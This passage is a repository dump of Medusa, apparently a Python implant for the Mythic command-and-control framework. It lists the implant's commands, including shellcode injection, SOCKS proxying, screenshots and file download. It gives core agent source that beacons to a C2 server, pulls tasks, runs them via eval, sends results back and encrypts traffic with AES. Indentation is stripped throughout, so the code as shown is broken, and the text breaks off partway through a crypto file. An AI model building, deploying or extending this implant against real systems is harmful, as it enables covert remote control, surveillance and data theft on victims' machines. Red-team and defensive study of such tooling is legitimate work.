Showing preview only (487K chars total). Download the full file or copy to clipboard to get everything.
Repository: MythicAgents/Medusa
Branch: master
Commit: 319866bf8e6d
Files: 172
Total size: 440.9 KB
Directory structure:
gitextract_rqvfv1v_/
├── .github/
│ ├── scripts/
│ │ └── matrix-test-builder.py
│ └── workflows/
│ └── payload-build-matrix.yml
├── .gitignore
├── C2_Profiles/
│ └── .keep
├── Payload_Type/
│ └── medusa/
│ ├── Dockerfile
│ ├── main.py
│ ├── medusa/
│ │ ├── __init__.py
│ │ ├── agent_code/
│ │ │ ├── base_agent/
│ │ │ │ ├── base_agent_core.py2
│ │ │ │ ├── base_agent_core.py3
│ │ │ │ ├── crypto_lib.py2
│ │ │ │ ├── crypto_lib.py3
│ │ │ │ ├── manual_crypto.py2
│ │ │ │ ├── manual_crypto.py3
│ │ │ │ ├── transport_azure_blob.py2
│ │ │ │ ├── transport_azure_blob.py3
│ │ │ │ ├── transport_http.py2
│ │ │ │ └── transport_http.py3
│ │ │ ├── cat.py
│ │ │ ├── cd.py
│ │ │ ├── clipboard.py2
│ │ │ ├── cp.py
│ │ │ ├── cwd.py
│ │ │ ├── download.py
│ │ │ ├── download_bulk.py
│ │ │ ├── env.py
│ │ │ ├── eval_code.py
│ │ │ ├── exit.py
│ │ │ ├── jobkill.py
│ │ │ ├── jobs.py
│ │ │ ├── kill.py3
│ │ │ ├── list_apps.py2
│ │ │ ├── list_dlls.py3
│ │ │ ├── list_modules.py
│ │ │ ├── list_tcc.py
│ │ │ ├── load.py
│ │ │ ├── load_dll.py
│ │ │ ├── load_module.py2
│ │ │ ├── load_module.py3
│ │ │ ├── load_script.py
│ │ │ ├── ls.py2
│ │ │ ├── ls.py3
│ │ │ ├── mv.py
│ │ │ ├── pip_freeze.py
│ │ │ ├── ps.py2
│ │ │ ├── ps.py3
│ │ │ ├── ps_full.py3
│ │ │ ├── rm.py
│ │ │ ├── screenshot.py2
│ │ │ ├── shell.py
│ │ │ ├── shinject.py
│ │ │ ├── sleep.py
│ │ │ ├── socks.py2
│ │ │ ├── socks.py3
│ │ │ ├── spawn_jxa.py
│ │ │ ├── unload.py
│ │ │ ├── unload_module.py
│ │ │ ├── upload.py
│ │ │ ├── vscode_list_recent.py
│ │ │ ├── vscode_open_edits.py
│ │ │ ├── vscode_watch_edits.py
│ │ │ └── watch_dir.py
│ │ └── mythic/
│ │ ├── __init__.py
│ │ ├── agent_functions/
│ │ │ ├── __init__.py
│ │ │ ├── builder.py
│ │ │ ├── cat.py
│ │ │ ├── cd.py
│ │ │ ├── clipboard.py
│ │ │ ├── cp.py
│ │ │ ├── cwd.py
│ │ │ ├── download.py
│ │ │ ├── download_bulk.py
│ │ │ ├── env.py
│ │ │ ├── eval_code.py
│ │ │ ├── exit.py
│ │ │ ├── jobkill.py
│ │ │ ├── jobs.py
│ │ │ ├── kill.py
│ │ │ ├── list_apps.py
│ │ │ ├── list_dlls.py
│ │ │ ├── list_modules.py
│ │ │ ├── list_tcc.py
│ │ │ ├── load.py
│ │ │ ├── load_dll.py
│ │ │ ├── load_module.py
│ │ │ ├── load_script.py
│ │ │ ├── ls.py
│ │ │ ├── mv.py
│ │ │ ├── pip_freeze.py
│ │ │ ├── ps.py
│ │ │ ├── ps_full.py
│ │ │ ├── rm.py
│ │ │ ├── screenshot.py
│ │ │ ├── shell.py
│ │ │ ├── shinject.py
│ │ │ ├── sleep.py
│ │ │ ├── socks.py
│ │ │ ├── spawn_jxa.py
│ │ │ ├── unload.py
│ │ │ ├── unload_module.py
│ │ │ ├── upload.py
│ │ │ ├── vscode_list_recent.py
│ │ │ ├── vscode_open_edits.py
│ │ │ ├── vscode_watch_edits.py
│ │ │ └── watch_dir.py
│ │ └── browser_scripts/
│ │ ├── copy_additional_info_to_clipboard.js
│ │ ├── create_table.js
│ │ ├── download.js
│ │ ├── download_bulk.js
│ │ ├── file_size_to_human_readable_string.js
│ │ ├── jobs.js
│ │ ├── list_apps.js
│ │ ├── list_dlls.js
│ │ ├── ls.js
│ │ ├── ps.js
│ │ ├── ps_full.js
│ │ ├── screenshot.js
│ │ ├── tcc.js
│ │ ├── vscode_edits.js
│ │ └── vscode_recent.js
│ └── rabbitmq_config.json
├── README.md
├── config.json
├── documentation-c2/
│ └── .keep
├── documentation-payload/
│ ├── .keep
│ └── medusa/
│ ├── _index.md
│ ├── c2_profiles/
│ │ ├── Azure_Blob.md
│ │ ├── HTTP.md
│ │ └── _index.md
│ ├── commands/
│ │ ├── _index.md
│ │ ├── cat.md
│ │ ├── cd.md
│ │ ├── clipboard.md
│ │ ├── cp.md
│ │ ├── cwd.md
│ │ ├── download.md
│ │ ├── download_bulk.md
│ │ ├── env.md
│ │ ├── eval_code.md
│ │ ├── exit.md
│ │ ├── jobs.md
│ │ ├── kill.md
│ │ ├── list_apps.md
│ │ ├── list_dlls.md
│ │ ├── list_modules.md
│ │ ├── list_tcc.md
│ │ ├── load.md
│ │ ├── load_dll.md
│ │ ├── load_module.md
│ │ ├── load_script.md
│ │ ├── ls.md
│ │ ├── mv.md
│ │ ├── pip_freeze.md
│ │ ├── ps.md
│ │ ├── ps_full.md
│ │ ├── rm.md
│ │ ├── screenshot.md
│ │ ├── shell.md
│ │ ├── shinject.md
│ │ ├── sleep.md
│ │ ├── socks.md
│ │ ├── spawn_jxa.md
│ │ ├── unload.md
│ │ ├── unload_module.md
│ │ ├── upload.md
│ │ ├── vscode_list_recent.md
│ │ ├── vscode_open_edits.md
│ │ ├── vscode_watch_edits.md
│ │ └── watch_dir.md
│ ├── development.md
│ └── opsec.md
├── documentation-wrapper/
│ └── .keep
└── tests/
└── test_payload_build_matrix.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/scripts/matrix-test-builder.py
================================================
#!/usr/bin/env python3
import json
import os
import pathlib
import re
import sys
def discover_profiles(base_agent_path: pathlib.Path):
py2_profiles = {
re.match(r"transport_(.+)\.py2$", p.name).group(1)
for p in base_agent_path.glob("transport_*.py2")
if re.match(r"transport_(.+)\.py2$", p.name)
}
py3_profiles = {
re.match(r"transport_(.+)\.py3$", p.name).group(1)
for p in base_agent_path.glob("transport_*.py3")
if re.match(r"transport_(.+)\.py3$", p.name)
}
return sorted(py2_profiles.intersection(py3_profiles))
def build_matrix(profiles):
python_versions = ["Python 2.7", "Python 3.8"]
crypto_impls = ["manual_crypto", "cryptography_lib"]
return {
"include": [
{
"profile": profile,
"python_version": python_version,
"crypto_impl": crypto_impl,
}
for profile in profiles
for python_version in python_versions
for crypto_impl in crypto_impls
]
}
def main():
repo_root = pathlib.Path(__file__).resolve().parents[2]
base_agent = repo_root / "Payload_Type" / "medusa" / "medusa" / "agent_code" / "base_agent"
profiles = discover_profiles(base_agent)
matrix = build_matrix(profiles)
matrix_json = json.dumps(matrix)
github_output = os.environ.get("GITHUB_OUTPUT", "").strip()
if github_output:
with open(github_output, "a", encoding="utf-8") as f:
f.write(f"matrix={matrix_json}\n")
else:
sys.stdout.write(matrix_json + "\n")
if __name__ == "__main__":
main()
================================================
FILE: .github/workflows/payload-build-matrix.yml
================================================
name: Payload Build Matrix
on:
pull_request:
branches:
- main
push:
branches:
- dev
permissions:
contents: read
concurrency:
group: payload-build-matrix-${{ github.ref }}
cancel-in-progress: true
jobs:
discover-combos:
runs-on: ubuntu-latest
outputs:
matrix: ${{ steps.discover.outputs.matrix }}
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Discover supported build combinations
id: discover
run: |
python .github/scripts/matrix-test-builder.py
build-matrix:
needs: discover-combos
runs-on: ubuntu-latest
timeout-minutes: 15
strategy:
fail-fast: false
matrix: ${{ fromJSON(needs.discover-combos.outputs.matrix) }}
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Run payload build tests for combo
env:
TEST_PROFILE: ${{ matrix.profile }}
TEST_PYTHON_VERSION: ${{ matrix.python_version }}
TEST_CRYPTO_IMPL: ${{ matrix.crypto_impl }}
run: |
python -m unittest tests/test_payload_build_matrix.py -v
================================================
FILE: .gitignore
================================================
*.DS_Store
__pycache__/
================================================
FILE: C2_Profiles/.keep
================================================
================================================
FILE: Payload_Type/medusa/Dockerfile
================================================
FROM itsafeaturemythic/mythic_python_base:latest
WORKDIR /Mythic/
CMD ["python3", "main.py"]
================================================
FILE: Payload_Type/medusa/main.py
================================================
import mythic_container
import asyncio
from medusa.mythic import *
mythic_container.mythic_service.start_and_run_forever()
================================================
FILE: Payload_Type/medusa/medusa/__init__.py
================================================
================================================
FILE: Payload_Type/medusa/medusa/agent_code/base_agent/base_agent_core.py2
================================================
import os, random, sys, json, socket, base64, time, platform, ssl, getpass
from datetime import datetime
import threading
from Queue import Queue
TRANSPORT_IMPORTS
CHUNK_SIZE = 51200
CRYPTO_HERE
def getOSVersion(self):
if platform.mac_ver()[0]: return "macOS "+platform.mac_ver()[0]
else: return platform.system() + " " + platform.release()
def getUsername(self):
try: return getpass.getuser()
except: pass
for k in [ "USER", "LOGNAME", "USERNAME" ]:
if k in os.environ.keys(): return os.environ[k]
TRANSPORT_CLASS_FIELDS
def formatMessage(self, data, urlsafe=False):
uuid_to_use = self.agent_config["UUID"]
if uuid_to_use == "":
uuid_to_use = self.agent_config["PayloadUUID"]
output = base64.b64encode(uuid_to_use.encode() + self.encrypt(json.dumps(data).encode()))
if urlsafe:
output = base64.urlsafe_b64encode(uuid_to_use.encode() + self.encrypt(json.dumps(data).encode()))
return output
def formatResponse(self, data):
uuid_to_use = self.agent_config["UUID"]
if uuid_to_use == "":
uuid_to_use = self.agent_config["PayloadUUID"]
if isinstance(data, bytes):
decoded = data.decode()
else:
decoded = data
cleaned = decoded.replace(uuid_to_use, "")
if not cleaned or cleaned.strip() == "":
return {}
return json.loads(cleaned)
TRANSPORT_FUNCTIONS
def sendTaskOutputUpdate(self, task_id, output):
responses = [{ "task_id": task_id, "user_output": output, "completed": False }]
message = { "action": "post_response", "responses": responses }
response_data = self.postMessageAndRetrieveResponse(message)
if "socks" in response_data:
for packet in response_data["socks"]: self.socks_in.put(packet)
def postResponses(self):
try:
responses = []
socks = []
taskings = self.taskings
for task in taskings:
if task["completed"] == True:
out = { "task_id": task["task_id"], "user_output": task["result"], "completed": True }
if task["error"]: out["status"] = "error"
for func in ["processes", "file_browser"]:
if func in task: out[func] = task[func]
responses.append(out)
while not self.socks_out.empty(): socks.append(self.socks_out.get())
if ((len(responses) > 0) or (len(socks) > 0)):
message = { "action": "post_response", "responses": responses }
if socks: message["socks"] = socks
response_data = self.postMessageAndRetrieveResponse(message)
for resp in response_data["responses"]:
task_index = [t for t in self.taskings \
if resp["task_id"] == t["task_id"] \
and resp["status"] == "success"][0]
self.taskings.pop(self.taskings.index(task_index))
if "socks" in response_data:
for packet in response_data["socks"]: self.socks_in.put(packet)
except: pass
def processTask(self, task):
try:
task["started"] = True
function = getattr(self, task["command"], None)
if(callable(function)):
try:
params = json.loads(task["parameters"]) if task["parameters"] else {}
params['task_id'] = task["task_id"]
command = "self." + task["command"] + "(**params)"
output = eval(command)
except Exception as error:
output = str(error)
task["error"] = True
task["result"] = output
task["completed"] = True
else:
task["error"] = True
task["completed"] = True
task["result"] = "Function unavailable."
except Exception as error:
task["error"] = True
task["completed"] = True
task["result"] = error
def processTaskings(self):
threads = list()
taskings = self.taskings
for task in taskings:
if task["started"] == False:
x = threading.Thread(target=self.processTask, name="{}:{}".format(task["command"], task["task_id"]), args=(task,))
threads.append(x)
x.start()
def getTaskings(self):
data = { "action": "get_tasking", "tasking_size": -1 }
tasking_data = self.getMessageAndRetrieveResponse(data)
for task in tasking_data["tasks"]:
t = {
"task_id":task["id"],
"command":task["command"],
"parameters":task["parameters"],
"result":"",
"completed": False,
"started":False,
"error":False,
"stopped":False
}
self.taskings.append(t)
if "socks" in tasking_data:
for packet in tasking_data["socks"]: self.socks_in.put(packet)
def passedKilldate(self):
kd_list = [ int(x) for x in self.agent_config["KillDate"].split("-")]
kd = datetime(kd_list[0], kd_list[1], kd_list[2])
if datetime.now() >= kd: return True
else: return False
def agentSleep(self):
j = 0
if int(self.agent_config["Jitter"]) > 0:
v = float(self.agent_config["Sleep"]) * (float(self.agent_config["Jitter"])/100)
if int(v) > 0:
j = random.randrange(0, int(v))
time.sleep(self.agent_config["Sleep"]+j)
#COMMANDS_HERE
def __init__(self):
self.socks_open = {}
self.socks_in = Queue()
self.socks_out = Queue()
self.taskings = []
self._meta_cache = {}
self.moduleRepo = {}
self.current_directory = os.getcwd()
self.agent_config = {
"PayloadUUID": "UUID_HERE",
"UUID": "",
"KillDate": "killdate",
"enc_key": AESPSK,
"ExchChk": "encrypted_exchange_check",
"ProxyHost": "proxy_host",
"ProxyUser": "proxy_user",
"ProxyPass": "proxy_pass",
"ProxyPort": "proxy_port",
TRANSPORT_CONFIG
}
while True:
if(self.agent_config["UUID"] == ""):
self.checkIn()
self.agentSleep()
else:
while True:
if self.passedKilldate():
self.exit(None)
try:
self.getTaskings()
self.processTaskings()
self.postResponses()
except: pass
self.agentSleep()
if __name__ == "__main__":
medusa = medusa()
================================================
FILE: Payload_Type/medusa/medusa/agent_code/base_agent/base_agent_core.py3
================================================
import os, random, sys, json, socket, base64, time, platform, ssl, getpass
from datetime import datetime
import threading, queue
TRANSPORT_IMPORTS
CHUNK_SIZE = 51200
CRYPTO_HERE
def getOSVersion(self):
if platform.mac_ver()[0]: return "macOS "+platform.mac_ver()[0]
else: return platform.system() + " " + platform.release()
def getUsername(self):
try: return getpass.getuser()
except: pass
for k in [ "USER", "LOGNAME", "USERNAME" ]:
if k in os.environ.keys(): return os.environ[k]
TRANSPORT_CLASS_FIELDS
def formatMessage(self, data, urlsafe=False):
uuid_to_use = self.agent_config["UUID"]
if uuid_to_use == "":
uuid_to_use = self.agent_config["PayloadUUID"]
output = base64.b64encode(uuid_to_use.encode() + self.encrypt(json.dumps(data).encode()))
if urlsafe:
output = base64.urlsafe_b64encode(uuid_to_use.encode() + self.encrypt(json.dumps(data).encode()))
return output
def formatResponse(self, data):
uuid_to_use = self.agent_config["UUID"]
if uuid_to_use == "":
uuid_to_use = self.agent_config["PayloadUUID"]
if isinstance(data, bytes):
decoded = data.decode()
else:
decoded = data
cleaned = decoded.replace(uuid_to_use, "")
if not cleaned or cleaned.strip() == "":
return {}
return json.loads(cleaned)
TRANSPORT_FUNCTIONS
def sendTaskOutputUpdate(self, task_id, output):
responses = [{ "task_id": task_id, "user_output": output, "completed": False }]
message = { "action": "post_response", "responses": responses }
response_data = self.postMessageAndRetrieveResponse(message)
if "socks" in response_data:
for packet in response_data["socks"]: self.socks_in.put(packet)
def postResponses(self):
try:
responses = []
socks = []
taskings = self.taskings
for task in taskings:
if task["completed"] == True:
out = { "task_id": task["task_id"], "user_output": task["result"], "completed": True }
if task["error"]: out["status"] = "error"
for func in ["processes", "file_browser"]:
if func in task: out[func] = task[func]
responses.append(out)
while not self.socks_out.empty(): socks.append(self.socks_out.get())
if ((len(responses) > 0) or (len(socks) > 0)):
message = { "action": "post_response", "responses": responses }
if socks: message["socks"] = socks
response_data = self.postMessageAndRetrieveResponse(message)
for resp in response_data["responses"]:
task_index = [t for t in self.taskings \
if resp["task_id"] == t["task_id"] \
and resp["status"] == "success"][0]
self.taskings.pop(self.taskings.index(task_index))
if "socks" in response_data:
for packet in response_data["socks"]: self.socks_in.put(packet)
except: pass
def processTask(self, task):
try:
task["started"] = True
function = getattr(self, task["command"], None)
if(callable(function)):
try:
params = json.loads(task["parameters"]) if task["parameters"] else {}
params['task_id'] = task["task_id"]
command = "self." + task["command"] + "(**params)"
output = eval(command)
except Exception as error:
output = str(error)
task["error"] = True
task["result"] = output
task["completed"] = True
else:
task["error"] = True
task["completed"] = True
task["result"] = "Function unavailable."
except Exception as error:
task["error"] = True
task["completed"] = True
task["result"] = error
def processTaskings(self):
threads = list()
taskings = self.taskings
for task in taskings:
if task["started"] == False:
x = threading.Thread(target=self.processTask, name="{}:{}".format(task["command"], task["task_id"]), args=(task,))
threads.append(x)
x.start()
def getTaskings(self):
data = { "action": "get_tasking", "tasking_size": -1 }
tasking_data = self.getMessageAndRetrieveResponse(data)
for task in tasking_data["tasks"]:
t = {
"task_id":task["id"],
"command":task["command"],
"parameters":task["parameters"],
"result":"",
"completed": False,
"started":False,
"error":False,
"stopped":False
}
self.taskings.append(t)
if "socks" in tasking_data:
for packet in tasking_data["socks"]: self.socks_in.put(packet)
def passedKilldate(self):
kd_list = [ int(x) for x in self.agent_config["KillDate"].split("-")]
kd = datetime(kd_list[0], kd_list[1], kd_list[2])
if datetime.now() >= kd: return True
else: return False
def agentSleep(self):
j = 0
if int(self.agent_config["Jitter"]) > 0:
v = float(self.agent_config["Sleep"]) * (float(self.agent_config["Jitter"])/100)
if int(v) > 0:
j = random.randrange(0, int(v))
time.sleep(self.agent_config["Sleep"]+j)
#COMMANDS_HERE
def __init__(self):
self.socks_open = {}
self.socks_in = queue.Queue()
self.socks_out = queue.Queue()
self.taskings = []
self._meta_cache = {}
self.moduleRepo = {}
self.current_directory = os.getcwd()
self.agent_config = {
"PayloadUUID": "UUID_HERE",
"UUID": "",
"KillDate": "killdate",
"enc_key": AESPSK,
"ExchChk": "encrypted_exchange_check",
"ProxyHost": "proxy_host",
"ProxyUser": "proxy_user",
"ProxyPass": "proxy_pass",
"ProxyPort": "proxy_port",
TRANSPORT_CONFIG
}
while True:
if(self.agent_config["UUID"] == ""):
self.checkIn()
self.agentSleep()
else:
while True:
if self.passedKilldate():
self.exit(None)
try:
self.getTaskings()
self.processTaskings()
self.postResponses()
except: pass
self.agentSleep()
if __name__ == "__main__":
medusa = medusa()
================================================
FILE: Payload_Type/medusa/medusa/agent_code/base_agent/crypto_lib.py2
================================================
class medusa:
def encrypt(self, data):
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes, hmac, padding
from cryptography.hazmat.backends import default_backend
if not self.agent_config["enc_key"]["value"] == "none" and len(data)>0:
key = base64.b64decode(self.agent_config["enc_key"]["enc_key"])
iv = os.urandom(16)
backend = default_backend()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend)
encryptor = cipher.encryptor()
padder = padding.PKCS7(128).padder()
padded_data = padder.update(data)
padded_data += padder.finalize()
ct = encryptor.update(padded_data) + encryptor.finalize()
h = hmac.HMAC(key, hashes.SHA256(), backend)
h.update(iv + ct)
hmac = h.finalize()
output = iv + ct + hmac
return output
else:
return data
def decrypt(self, data):
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes, hmac, padding
from cryptography.hazmat.backends import default_backend
if not self.agent_config["enc_key"]["value"] == "none":
if len(data)>0:
backend = default_backend()
key = base64.b64decode(self.agent_config["enc_key"]["dec_key"])
uuid = data[:36]
iv = data[36:52]
ct = data[52:-32]
received_hmac = data[-32:]
h = hmac.HMAC(key, hashes.SHA256(), backend)
h.update(iv + ct)
hmac = h.finalize()
if base64.b64encode(hmac) == base64.b64encode(received_hmac):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend)
decryptor = cipher.decryptor()
pt = decryptor.update(ct) + decryptor.finalize()
unpadder = padding.PKCS7(128).unpadder()
decrypted_data = unpadder.update(pt)
decrypted_data += unpadder.finalize()
return (uuid+decrypted_data).decode()
else: return ""
else: return ""
else:
return data.decode()
================================================
FILE: Payload_Type/medusa/medusa/agent_code/base_agent/crypto_lib.py3
================================================
class medusa:
def encrypt(self, data):
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes, hmac, padding
from cryptography.hazmat.backends import default_backend
if not self.agent_config["enc_key"]["value"] == "none" and len(data)>0:
key = base64.b64decode(self.agent_config["enc_key"]["enc_key"])
iv = os.urandom(16)
backend = default_backend()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend)
encryptor = cipher.encryptor()
padder = padding.PKCS7(128).padder()
padded_data = padder.update(data)
padded_data += padder.finalize()
ct = encryptor.update(padded_data) + encryptor.finalize()
h = hmac.HMAC(key, hashes.SHA256(), backend)
h.update(iv + ct)
hmac = h.finalize()
output = iv + ct + hmac
return output
else:
return data
def decrypt(self, data):
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes, hmac, padding
from cryptography.hazmat.backends import default_backend
if not self.agent_config["enc_key"]["value"] == "none":
if len(data)>0:
backend = default_backend()
key = base64.b64decode(self.agent_config["enc_key"]["dec_key"])
uuid = data[:36]
iv = data[36:52]
ct = data[52:-32]
received_hmac = data[-32:]
h = hmac.HMAC(key, hashes.SHA256(), backend)
h.update(iv + ct)
hmac = h.finalize()
if base64.b64encode(hmac) == base64.b64encode(received_hmac):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend)
decryptor = cipher.decryptor()
pt = decryptor.update(ct) + decryptor.finalize()
unpadder = padding.PKCS7(128).unpadder()
decrypted_data = unpadder.update(pt)
decrypted_data += unpadder.finalize()
return (uuid+decrypted_data).decode()
else: return ""
else: return ""
else:
return data.decode()
================================================
FILE: Payload_Type/medusa/medusa/agent_code/base_agent/manual_crypto.py2
================================================
s_box = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
inv_s_box = (
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)
def sub_bytes(s):
for i in range(4):
for j in range(4):
s[i][j] = s_box[s[i][j]]
def inv_sub_bytes(s):
for i in range(4):
for j in range(4):
s[i][j] = inv_s_box[s[i][j]]
def shift_rows(s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]
def inv_shift_rows(s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]
def add_round_key(s, k):
for i in range(4):
for j in range(4):
s[i][j] ^= k[i][j]
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
def mix_single_column(a):
t = a[0] ^ a[1] ^ a[2] ^ a[3]
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)
def mix_columns(s):
for i in range(4): mix_single_column(s[i])
def inv_mix_columns(s):
for i in range(4):
u = xtime(xtime(s[i][0] ^ s[i][2]))
v = xtime(xtime(s[i][1] ^ s[i][3]))
s[i][0] ^= u
s[i][1] ^= v
s[i][2] ^= u
s[i][3] ^= v
mix_columns(s)
r_con = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)
def bytes2matrix(text):
return [list([ord(x) for x in text[i:i+4]]) for i in range(0, len(text), 4)]
def bytes2amatrix(text):
return [list([x for x in text[i:i+4]]) for i in range(0, len(text), 4)]
def matrix2bytes(matrix):
return [chr(x) for x in sum(matrix, [])]
def xor_bytes(a, b, as_chr=False):
out = []
for i, j in zip(a, b):
if isinstance(i, basestring): i = ord(i)
if isinstance(j, basestring): j = ord(j)
out.append(chr(i^j)) if as_chr else out.append(i^j)
return out
def inc_bytes(a):
out = list(a)
for i in reversed(range(len(out))):
if out[i] == 0xFF:
out[i] = 0
else:
out[i] += 1
break
return bytes(out)
def pad(plaintext):
padding_len = 16 - (len(plaintext) % 16)
padding = bytes(chr(padding_len) * padding_len)
return plaintext + padding
